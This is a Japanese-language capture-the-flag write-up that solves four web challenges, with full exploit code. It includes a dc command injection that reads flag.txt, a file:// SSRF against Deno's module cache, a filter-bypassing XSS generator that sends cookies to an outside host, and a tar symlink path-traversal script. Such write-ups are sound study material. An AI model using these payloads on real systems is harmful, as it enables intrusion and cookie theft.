7/8 - 7/10という日程で開催された。今回はSatoooonさんのWeb問目当てにソロチーム( 'ᾥ' )で参加して56位だった。そこそこ早くWebを全完できて嬉しい。
- [Web 100] sequence_gallery (101 solves)
- [Web 793] safe_proxy (25 solves)
- [Web 940] hex2dec (14 solves)
- [Web 983] archive_stat_viewer (8 solves)
[Web 100] sequence_gallery (101 solves)
Do you like sequences?
Author : Satoooon
添付ファイル: sequence_gallery.zip
色々な計算をしてくれる便利なWebアプリ。計算式を選ぶと /?sequence=fibonacchi のようなURLに遷移し、次のようにその結果が表示される。

メインの処理である main.py は次の通り。簡単な作りになっていて、クエリパラメータで指定された sequence に .dc という拡張子を結合して、それを dc コマンドで実行している。同じディレクトリには factorial.dc, fibonacchi.dc, power.dc といった dc コマンド向けのスクリプトのほか、flag.txt というテキストファイルも存在している。なるほど、flag.txt を読めということか。
import os import sqlite3 import subprocess from flask import Flask, request, render_template app = Flask(__name__) @app.get('/') def index(): sequence = request.args.get('sequence', None) if sequence is None: return render_template('index.html') script_file = os.path.basename(sequence + '.dc') if ' ' in script_file or 'flag' in script_file: return ':(' proc = subprocess.run( ['dc', script_file], capture_output=True, text=True, timeout=1, ) output = proc.stdout return render_template('index.html', output=output) if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)
subprocess.run(['dc', script_file], …) というような処理から、dc コマンドのオプションでなにかできないかなと思う。試しに /?sequence=-h にアクセスしてみると、以下のように表示された。なんかできそう。-e というオプションでコマンドラインから与えた dc の式を実行できるというのは気になる。

man dc で dc の式でできそうな悪いことを調べていると、あった。! というコマンドを使うと、それ以降の文字列をOSコマンドとして実行してくれるらしい。これで flag.txt を読みたい。
Miscellaneous
! Will run the rest of the line as a system command. Note that parsing of the !<, !=, and !> commands
take precedence, so if you want to run a command starting with <, =, or > you will need to add a space
after the !.
(半角スペース)やflag.txt が sequence に含まれていると弾かれるのがちょっと面倒だが、半角スペースは水平タブで代替できるし、flag を含めずとも cat f* で flag.txt を読めばいい。/?sequence=-e!cat%09f*%09* でフラグが得られた。
crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx}
[Web 793] safe_proxy (25 solves)
Deno sandbox prevents SSRF, right?
Author : Satoooon
添付ファイル: safe_proxy.zip
safe_proxy.zip を展開すると flag_provider と web という2つのディレクトリが出てくる。それぞれ別の Dockerfile が含まれており、これら2つのサービスからなっているようだ。なお、我々がアクセスできるのは後者のみ。
まずは前者から見ていく。メインの main.js は次の通り。/ はフラグを返してくれるけれども、フラグを返す条件として token というクエリパラメータの値が、環境変数の PROVIDER_TOKEN と一致している必要がある。もちろん、その値は我々にはわからない。
import { Application, helpers } from 'https://deno.land/x/oak/mod.ts'; const HOST = '0.0.0.0'; const PORT = 8080; let PROVIDER_TOKEN = Deno.env.get('PROVIDER_TOKEN'); const FLAG = await Deno.readTextFile('./flag.txt'); const app = new Application(); app.use((ctx) => { const params = helpers.getQuery(ctx); if (!params.token) return; const token = params.token; if (token === PROVIDER_TOKEN) { ctx.response.body = `export const FLAG = '${FLAG}';`; }; }); app.addEventListener('listen', ({ hostname, port }) => { console.log(`Listening on: ${hostname}:${port}`); }); await app.listen({ hostname: HOST, port: PORT });
web のメインのコードは次の通り。最初に flag_provider からフラグを取ってきているが、以降 FLAG はそのハッシュ値の計算にしか使われていない。/ というフラグのハッシュ値を返すAPIのほかは、/proxy という指定されたURLを fetch しに行くAPIがある。
ただし、run.sh というこの main.js を実行するためのスクリプト中にある deno run --no-prompt --allow-net="0.0.0.0:8080,$PROVIDER_HOST" --allow-read=. --allow-env ./main.js というOSコマンドからわかるように、fetch で取得できる対象は限られている。0.0.0.0:8080 と $PROVIDER_HOST (flag_provider のホスト名)が --allow-net で許可されているが、フラグの取得後に後者は Deno.permissions.revoke でrevokeされてしまっており、実質的に 0.0.0.0:8080 からしか取得できないことがわかる。
import { Application, Router, helpers } from 'https://deno.land/x/oak/mod.ts'; import { encode } from 'https://deno.land/std/encoding/hex.ts'; const HOST = '0.0.0.0'; const PORT = 8080; const PROVIDER_TOKEN = Deno.env.get('PROVIDER_TOKEN'); const PROVIDER_HOST = Deno.env.get('PROVIDER_HOST'); const { FLAG } = await import(`http://${PROVIDER_HOST}/?token=${PROVIDER_TOKEN}`); // no ssrf! await Deno.permissions.revoke({ name: 'net', host: PROVIDER_HOST}); const router = new Router(); router .get('/', async (ctx) => { const encoded = new TextEncoder().encode(FLAG); const hash_buff = await crypto.subtle.digest('sha-256', encoded); const hash = new TextDecoder().decode(encode(new Uint8Array(hash_buff))); const html = await Deno.readTextFile('./index.html'); ctx.response.body = html.replace('{HASH}', hash); }) .get('/proxy', async (ctx) => { const params = helpers.getQuery(ctx); if (!params.url) { ctx.response.body = 'missing url'; return; } const url = params.url; const fetchResponse = await fetch(url); ctx.response.body = fetchResponse.body; }) ; const app = new Application(); app.use(router.routes()); app.use(router.allowedMethods()); app.addEventListener('listen', ({ hostname, port }) => { console.log(`Listening on ${hostname}:${port}`); }); await app.listen({ hostname: HOST, port: PORT });
ところで、Denoでは次のように file スキームを使うことで、fetch でローカルファイルの内容を取得できる。
$ docker run --rm -it denoland/deno:1.32.3 repl
Deno 1.32.3
exit using ctrl+d, ctrl+c, or close()
> await fetch('file:///etc/passwd')
✅ Granted read access to "/etc/passwd".
Response {
body: ReadableStream { locked: false },
bodyUsed: false,
headers: Headers {},
ok: true,
redirected: false,
status: 200,
statusText: "OK",
url: "file:///etc/passwd"
}
今回は --allow-read=. というオプションが付与されているのでカレントディレクトリである /home/app 以下のファイルしか参照できない。試しに /home/app 下にどんなファイルやディレクトリがあるか確認してみる。お、.cache というディレクトリがある。
app@d5d01e71f953:~$ ls -la total 28 drwxrwxrwx 1 root root 4096 Jul 9 06:21 . drwxr-xr-x 1 root root 4096 Jul 9 02:17 .. drwxr-xr-x 3 app app 4096 Jul 9 06:21 .cache -rwxrwxrwx 1 root root 157 Jul 9 00:35 index.html -rwxrwxrwx 1 root root 1387 Jul 9 00:35 main.js -rwxrwxrwx 1 root root 111 Jul 9 00:35 run.sh
.cache/deno 下には、以下のように依存しているパッケージのキャッシュなどが保存されているらしい。
app@d5d01e71f953:~$ ls -la .cache/ total 12 drwxr-xr-x 3 app app 4096 Jul 9 06:21 . drwxrwxrwx 1 root root 4096 Jul 9 06:21 .. drwxr-xr-x 5 app app 4096 Jul 9 06:21 deno app@d5d01e71f953:~$ ls -la .cache/deno/ total 252 drwxr-xr-x 5 app app 4096 Jul 9 06:21 . drwxr-xr-x 3 app app 4096 Jul 9 06:21 .. -rw-r--r-- 1 app app 188416 Jul 9 06:21 dep_analysis_cache_v1 -rw-r--r-- 1 app app 0 Jul 9 06:21 dep_analysis_cache_v1-journal drwxr-xr-x 4 app app 4096 Jul 9 06:21 deps drwxr-xr-x 3 app app 4096 Jul 9 06:21 gen -rw-r--r-- 1 app app 85 Jul 9 06:21 latest.txt -rw-r--r-- 1 app app 36864 Jul 9 06:21 node_analysis_cache_v1 -rw-r--r-- 1 app app 0 Jul 9 06:21 node_analysis_cache_v1-journal drwxr-xr-x 2 app app 4096 Jul 9 06:21 npm
では、最初のdynamic importで取得してきた flag_provider はキャッシュされているだろうか。grep で探してみると、あった。謎のハッシュ値がファイル名として使われている。同じディレクトリには (同じハッシュ値).metadata.json というファイルもある。この謎のハッシュ値をなんとかして手に入れられないだろうか。
app@d5d01e71f953:~$ grep -rl "dummy{dummy}" .
./.cache/deno/deps/http/172.17.0.1_PORT8082/f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2
app@d5d01e71f953:~$ cat ./.cache/deno/deps/http/172.17.0.1_PORT8082/f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2
export const FLAG = 'dummy{dummy}';
app@d5d01e71f953:~$ ls -la ./.cache/deno/deps/http/172.17.0.1_PORT8082/
total 16
drwxr-xr-x 2 app app 4096 Jul 9 06:21 .
drwxr-xr-x 3 app app 4096 Jul 9 06:21 ..
-rw-r--r-- 1 app app 35 Jul 9 06:21 f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2
-rw-r--r-- 1 app app 284 Jul 9 06:21 f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2.metadata.json
Denoのリポジトリで metadata.json を検索してみる。write_metadata_at_path というメソッドが見つかった。これの引数として与えられている path がどう作られているか知りたい。このメソッドは2箇所から呼び出されているが、いずれにしても get_cache_filepath_internal を使っている。このメソッドでは、url_to_filename という関数でURLからファイル名に変換をしているようだ。ここで、SHA-256のハッシュ値は次のようにして計算されている。URLのパスとクエリパラメータを結合しているらしい。
let mut rest_str = url.path().to_string(); if let Some(query) = url.query() { rest_str.push('?'); rest_str.push_str(query); } // NOTE: fragment is omitted on purpose - it's not taken into // account when caching - it denotes parts of webpage, which // in case of static resources doesn't make much sense let hashed_filename = util::checksum::gen(&[rest_str.as_bytes()]);
そのクエリパラメータである PROVIDER_TOKEN が未知だから困るんだなあ。なんとかしてこのクエリパラメータや、ハッシュ値そのものがほかの方法で得られないか考える。.cache 以下のファイルで flag_provider のホスト名を探してみると、次のように .cache/deno/dep_analysis_cache_v1 というファイルが見つかった。これだ。
app@d5d01e71f953:~$ grep -rl "172.17.0.1" . ./.cache/deno/deps/http/172.17.0.1_PORT8082/f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2.metadata.json ./.cache/deno/dep_analysis_cache_v1
問題サーバで /proxy?url=file:///home/app/.cache/deno/dep_analysis_cache_v1 にアクセスしてみると、SQLiteのDBがダウンロードできた。その中身を見ると、5a35327045b0ec9159cc188f643e347f が PROVIDER_TOKEN であるとわかった。
$ sqlite3 dep_analysis_cache_v1 SQLite version 3.31.1 2020-01-27 19:55:54 Enter ".help" for usage hints. sqlite> select specifier from moduleinfocache where specifier like '%token%'; http://safe-proxy-flag-provider:8082/?token=5a35327045b0ec9159cc188f643e347f
これを元にさっきのハッシュ値を計算する。/proxy?url=file:///home/app/.cache/deno/deps/http/safe-proxy-flag-provider_PORT8082/70ec621b0141f80c80d9e26b084da38df4bbf6b4b64d04c837f7b3cd5fe8482b にアクセスすると以下のようなJSコードが表示され、フラグが得られた。
export const FLAG = 'crew{file://_SSRF_in_modern_6f4544ec261423ce}';
crew{file://_SSRF_in_modern_6f4544ec261423ce}
[Web 940] hex2dec (14 solves)
Converting from hexadecimal to decimal is a pain.
Author : Satoooon
添付ファイル: hex2dec.zip
16進数を10進数に変換してくれる便利なWebアプリ。
![]()
以下のように httpOnly ではないフラグを含んだCookieを携えて、botがこのWebアプリにアクセスし、指定した「16進数の数値」を10進数に変換してくれる。いい感じにXSSを引き起こせるような「16進数の数値」を作れということらしい。
await page.setCookie({ name: 'FLAG', value: FLAG, domain: `${APP_HOST}:${APP_PORT}`, httpOnly: false });
16進数を10進数に変換してくれるWebアプリのソースコードは次の通り。CSPは微妙に厳しく、基本的にはどんなリソースの読み込みも許さないけれども、JavaScriptに関してはインラインのものの実行を許可してくれるらしい。
変換対象の文字列については、/^[0-f +-]+$/ という正規表現にマッチしているかチェックされている。おっと、なぜ 0-9a-f でなく 0-f なのだろう。これだと余計な文字も結構含まれてしまうのではないか。
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'unsafe-inline';"> <title>hex2dec tool</title> </head> <body> <form method="GET"> <input type="text" name="v" placeholder="deadbeef"> <input type="submit" value="To decimal"> </form> <div id="result"> </div> <script type="text/javascript"> const params = new URLSearchParams(document.location.search.substring(1)); const v = params.get("v"); if (/^[0-f +-]+$/g.test(v)) { result.innerHTML = `${v} = ${parseInt(v, 16)}`; } </script> </body> </html>
雑に以下のようなスクリプトで使用可能な文字を確認する。大文字全部と []、それからバックティックが使えるのはありがたいけれども、小文字が abcdef の6文字しか使えないのはつらい。ところで、このようなフィルターを見るとCODEGATE CTF 2023 QualsのCalculatorを思い出す。前回はフィルターの突破ができなかったので、リベンジ(?)開始だ。
let s = ''; for (let i = 0; i < 0x100; i++) { if (/^[0-f +-]+$/g.test(String.fromCharCode(i))) { s += String.fromCharCode(i); } } console.log(s); // " +-0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdef"
まずはどうやってXSSするかだが、これは <IMG SRC=X ONERROR=(JSコード)> のようにすればよい。
ではどうやって制限の範囲内である程度自由にJSコードを実行できるようにするか。基本的にはJSF*ckと同じ考え方で、[] によるプロパティアクセスと文字列の組み立てによってなんとかしていく。簡単には作れない文字もいくつかあるが、それもJSF**kのソースコードを参考にすればよい。''.constructor.constructor('return 123')() のようにして Function にアクセスし、eval 相当のことができたらいいのだけれども、残念ながら今回はCSPが script-src 'unsafe-inline' となっていて、'unsafe-eval' が含まれていないので使えない。
どんな挙動をするJSコードを作りたいか。目標は document.cookie にアクセスして、CSP回避のために location.href = 'https://example.com?' + document.cookie のようなリダイレクトでCookieを抜き出すこと…なのだけれども、どうやれば eval 相当のことをせず document や location にアクセスできるだろうか。
ちょっと考えて、iframe の contentWindow を思い出す。<IMG SRC=X ONERROR=…><IFRAME ID=X> のようにすれば、DOM Clobberingと同じ要領で X.contentWindow のようにしてこの追加した iframe、そしてその contentWindow にアクセスできる。遷移に関しては、安直に X.location = '…' のようにするとCSPの default-src 'none' に引っかかってしまうが、X.parent.location = '…' のように parent や top を使って iframe を開いている側のウィンドウにアクセスすればよい。
このアプリのフィルターはJS****の6種類の文字しか使えないという制限に比べるとだいぶゆるいので、たとえば true, false はそれぞれ 0==0, 1==0 に、[object …] というような文字列は大文字の適当なオブジェクトの CSS を持ってきて CSS+`…` で作って、といったように結構楽ができる。() が使えないのが不便だが、関数呼び出しについてはテンプレートリテラルが使えるので、alert`hoge` のようにバックティックを代替とし、また演算子の優先順位の都合でカッコで囲みたい箇所では、[[1==0]+`…`][0][1] のようにブラケットを代わりに使えばよい。
constructor のような長い文字列が出現するたびにいちいち 'c'+'o'+… と生成していてはペイロードが長くなってしまうので、同じ文字列を何度も使うような場合は C='c'+'o'+… のような感じで適当な変数に入れておき、それを参照するようにする。
こんな感じの戦略でいい感じにフィルターをバイパスして X.parent.location = '//2130706433\\' + X.contentWindow.document.cookie 相当のことをするJSコードを生成するPythonスクリプトが以下。
m = {
'c': '[CSS+``][0][5]',
'o': '[CSS+``][0][1]',
'n': '[``[0]+``][0][6]',
's': '[[1==0][0]+``][0][3]',
't': '[[0==0][0]+``][0][0]',
'r': '[[0==0][0]+``][0][1]',
'u': '[[0==0][0]+``][0][2]',
' ': '[CSS+``][0][7]',
'a': '[[1==0][0]+``][0][1]',
'e': '[[1==0][0]+``][0][4]',
'i': '[``[0]+``][0][5]',
'd': '[``[0]+``][0][2]',
'l': '[[1==0][0]+``][0][2]',
}
def encode(s):
return '+'.join(m[c] for c in s)
long_ip = '(127.0.0.1 → 2130706433みたいなやつ)'
constructor = encode('constructor') # 'constructor'
string = f'``[{constructor}]' # String
number = f'0[{constructor}]' # Number
m['g'] = f'[{string}+``][0][14]'
m['m'] = f'[{number}+``][0][11]'
string_s = f'{string}[{encode("name")}]' # 'String'
PREAMBLE = f'TOS={encode("to")}+{string_s};'
m['p'] = f'211[TOS]`31`[1]'
m['w'] = f'32[TOS]`33`'
m['k'] = f'20[TOS]`21`'
m['/'] = f'[``[{encode("link")}]``][0][12]'
payload = PREAMBLE + f'W=X[{encode("content")}+`W`+{encode("indow")}];C=W[{encode("document")}][{encode("cookie")}];W[{encode("parent")}][{encode("location")}]={encode("//")}+{long_ip}+`\\\\`+C'
print(f'<IMG SRC=X ONERROR={payload}><IFRAME ID=X>')
生成されたペイロードを通報するとフラグが得られた。
crew{dom_clobbering_is_helpful_for_a_restricted_xss}
[Web 983] archive_stat_viewer (8 solves)
Warning: Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..". > > https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall
I'm aware this warning but didn't know what to do right. Is this okay?
Author: Satoooon
添付ファイル: archive_stat_viewer.zip
このWebアプリは tar ファイルをアップロードするといい感じに解析してくれるものだ。適当な tar ファイルを上げると、次のようにJSONでどんなファイルが含まれていたか返してくれる。


メインのコードは次の通り。どの問題もそうだったけれども、これもミニマルな感じで読みやすくて嬉しい。なお、フラグは同じディレクトリの flag.txt に保存されている。
from pathlib import Path from uuid import uuid4 from secrets import token_hex from datetime import datetime import os import tarfile import json import shutil from flask import Flask, request, session, send_file, render_template, redirect, make_response app = Flask(__name__) app.config['SECRET_KEY'] = open('./secret').read() app.config['MAX_CONTENT_LENGTH'] = 1024 * 128 UPLOAD_DIR = Path('./archives') class HackingException(Exception): pass def extract_archive(archive_path, extract_folder): with tarfile.open(archive_path) as archive: for member in archive.getmembers(): if member.name[0] == '/' or '..' in member.name: raise HackingException('Malicious archive') archive.extractall(extract_folder) def get_folder_info(extract_folder): data = {} for file in extract_folder.iterdir(): stat = file.lstat() name = file.name size = stat.st_size last_updated = datetime.utcfromtimestamp(stat.st_mtime).strftime('%Y-%m-%d %H:%M:%S') data[file.name] = {} data[file.name]['Size'] = size data[file.name]['Last updated'] = last_updated return data @app.get('/') def index(): if 'archives' not in session: session['archives'] = [] return render_template('index.html', archives = session['archives']) @app.get('/results/<archive_id>') def download_result(archive_id): if 'archives' not in session: session['archives'] = [] archive_id = Path(archive_id).name return send_file(UPLOAD_DIR / archive_id / 'result.json') @app.get('/clean') def clean_results(): if 'archives' not in session: session['archives'] = [] for archive in session['archives']: shutil.rmtree(UPLOAD_DIR / archive['id']) session['archives'] = [] return redirect('/') @app.post('/analyze') def analyze_archive(): if 'archives' not in session: session['archives'] = [] archive_id = str(uuid4()) archive_folder = UPLOAD_DIR / archive_id extract_folder = archive_folder / 'files/' archive_path = archive_folder / 'archive.tar' result_path = archive_folder / 'result.json' extract_folder.mkdir(parents=True) archive = request.files['archive'] archive_name = archive.filename archive.save(archive_path) try: extract_archive(archive_path, extract_folder) except HackingException: return make_response("Don't hack me!", 400) data = get_folder_info(extract_folder) with open(result_path, 'w') as f: json.dump(data, f, indent=2) session['archives'] = session['archives'] + [{ 'id': archive_id, 'name': archive_name }] return redirect('/') if __name__ == '__main__': app.run(host='0.0.0.0', port=80)
アップロードされた tar ファイルは次のようにして解析される:
- その
tarファイルに対応するUUIDv4が生成される(以降、解析結果の参照等に使う) /web-apps/src/archives下にそのUUIDの名前でディレクトリが作成される(以下、作業ディレクトリとする)(作業ディレクトリ)/archive.tarにtarファイルを保存する(作業ディレクトリ)/files/下にtarファイルを展開する(作業ディレクトリ)/result.json下に展開されたファイルの情報を取得・保存する(以降、/results/(UUID)でresult.jsonの内容を参照できる)
tar ファイルの展開は以下のようにZip Slip的なことができる extractall が使われているのだけれども、/ から始まっていないか(絶対パスを弾きたいらしい)、.. が含まれていないか(ディレクトリをさかのぼれないようにしたいらしい)を見てPath Traversalを防ごうとしている。
def extract_archive(archive_path, extract_folder): with tarfile.open(archive_path) as archive: for member in archive.getmembers(): if member.name[0] == '/' or '..' in member.name: raise HackingException('Malicious archive') archive.extractall(extract_folder)
なるほど、真正面からPath Traversalを狙うのは難しそう。でも、シンボリックリンクであるかどうかはチェックされていない。すでに解析済みである適当なアーカイブについて、report.json をPath Traversalで /web-apps/src/flag.txt に置き換えて、/results/(UUID) でその内容を参照ということができないかと考えた。
でも、どうやってそのPath Traversalをするのか。もう一段シンボリックリンクを使えばよい。以下の2つのシンボリックを含む tar ファイルがあるとして、上から順番に展開されるとどうなるだろうか。2つ目のファイルの展開時に、/web-apps/src/archives/(UUID)/report.json というファイルが、/web-apps/src/flag.txt へ向けたシンボリックリンクで置き換えられる。
aaaというファイル名の、/web-apps/src/archives/(UUID)/へ向けたシンボリックリンクaaa/report.jsonというファイル名の、/web-apps/src/flag.txtへ向けたシンボリックリンク
ということで、このような tar ファイルを生成するPythonスクリプトを書く。
import os import tarfile import tempfile with tempfile.TemporaryDirectory() as dir: os.symlink('/web-apps/src/archives/45da2988-9432-4dee-a952-55300e249d47', f'{dir}/aaa') os.symlink('/web-apps/src/flag.txt', f'{dir}/bbb') with tarfile.open('exp.tar', 'w') as f: f.add(f'{dir}/aaa', 'aaa') f.add(f'{dir}/bbb', 'aaa/result.json')
生成された exp.tar をアップロードし、/results/45da2988-9432-4dee-a952-55300e249d47 にアクセスすると、フラグが得られた。
crew{fixing_zip/tar_slip_vulnerability_is_hard}